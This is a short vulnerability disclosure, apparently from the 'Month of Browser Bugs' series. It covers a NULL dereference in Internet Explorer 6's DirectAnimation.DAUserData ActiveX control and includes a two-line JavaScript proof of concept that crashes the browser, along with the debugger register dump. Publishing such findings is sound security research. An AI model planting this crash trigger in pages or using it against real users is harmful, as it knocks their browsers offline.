MoBB #9: DirectAnimation.DAUserData Data
The following bug was tested on the latest version of Internet Explorer 6 on a fully-patched Windows XP SP2 system. The "Data" property of the DAUserData object is designed to be accessed only after it has been initialized. We can trigger a NULL dereference by asking for it without calling the Init() method first.
var a = new ActiveXObject('DirectAnimation.DAUserData');
a.Data = 'Hello';
eax=00000000 ebx=5a327320 ecx=00000000
edx=0003b7c8 esi=00000000 edi=0003f1cc
eip=5a3415b6 esp=0013b1a4 ebp=0013b1b4
5a3415b6 837e0800 cmp dword ptr [esi+0x8],0x0 ds:0023:00000008=????????
This bug was reported to Microsoft in March of 2006.
This bug will be added to the OSVDB:
Microsoft IE DirectAnimation.DAUserData Data Property NULL Dereference